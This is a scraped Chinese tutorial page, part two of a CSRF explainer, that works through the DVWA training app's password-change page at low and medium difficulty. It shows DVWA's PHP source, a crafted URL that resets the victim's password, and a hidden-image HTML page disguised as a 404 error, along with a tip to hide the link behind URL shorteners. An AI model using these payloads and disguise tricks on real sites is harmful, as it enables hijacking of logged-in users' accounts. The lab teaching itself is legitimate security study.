10分钟浅谈CSRF突破原理,Web安全的第一防线( 二 )

DVWA平台CSRF
没有找到比较好的原始文件,于是找到了DVWA 。
low

  • 前端源码
<h3>Change your admin password:</h3><br><form action="#" method="GET">New password:<br><input autocomplete="off" name="password_new" type="password"><br>Confirm new password:<br><input autocomplete="off" name="password_conf" type="password"><br><br><input value=https://www.isolves.com/it/aq/wl/2019-12-20/"Change" name="Change" type="submit">前端原始码的非常简单,是一个修改密码的CSRF,表单采用GET方式更改提交 。
  • 后端源码
<?phpif( isset( $_GET[ 'Change' ] ) ) {// Get input$pass_new= $_GET[ 'password_new' ];$pass_conf = $_GET[ 'password_conf' ];// Do the passwords match?if( $pass_new == $pass_conf ) {// They do!$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],$pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$pass_new = md5( $pass_new );// Update the database$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";$result = mysqli_query($GLOBALS["___mysqli_ston"],$insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );// Feedback for the userecho "<pre>Password Changed.</pre>";}else {// Issue with passwords matchingecho "<pre>Passwords did not match.</pre>";}((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);}?>可以看到预期接收数据后会验证两次密码是否重复,然后修改密码 。
  • 构造有效Payload
http://127.0.0.1/DVWA-master/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#我们将Payload发送给受害者,受害者处于会话保持(登录状态)中,遭受一旦点击该URL链接,就意味着受害者执行了同样的操作,这个过程就是CSRF 。
笔者位于的DVWA使用的登录密码,被替换为“ 123456” 。
  • 重点
这里的攻击建立是利用受害者的Cookie向服务器发送伪造请求(Payload),如果用户使用的是一个与xxser.com保持会话登录的浏览器重置有效负载URL,受害者的密码就会发生更改 。
现如今,人们的安全意识普遍增高,我们可以采用短链接这种方式来进行优化,例如百度,新浪的短链接替代,以便减少图片内容,密码修改后的页面会有提示 。
  • 高明的做法(从一位前辈copy过来的)
<!DOCTYPE html><html><head><meta charset="utf-8"><title>Payload</title></head><body><img src=https://www.isolves.com/it/aq/wl/2019-12-20/"http://127.0.0.1/DVWA-master/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#" border="0" style="display: none">

404

file not found.

页面的作用是加载一个伪404的页面,实际上可以访问该页面,就会加载图片,所谓加载图片就是加载src属性,而src属性则为Payload-URL,实际的行为就是加载该html页面的同时图片会加载,也就执行了有效负载 。
middle
  • 前端源码(添加了http_referer头的验证)
<?phpif( isset( $_GET[ 'Change' ] ) ) {// HTTP_REFERER :查询当前页的前一页的地址信息// SERVER_NAME:获取域名if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {// stripos() :查字符第一次出现的位置,$pass_new= $_GET[ 'password_new' ];$pass_conf = $_GET[ 'password_conf' ];// Do the passwords match?if( $pass_new == $pass_conf ) {// They do!$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],$pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$pass_new = md5( $pass_new );// Update the database$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";$result = mysqli_query($GLOBALS["___mysqli_ston"],$insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );// Feedback for the userecho "<pre>Password Changed.</pre>";}else {// Issue with passwords matchingecho "<pre>Passwords did not match.</pre>";}}else {// Didn't come from a trusted sourceecho "<pre>That request didn't look correct.</pre>";}((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);}?>


推荐阅读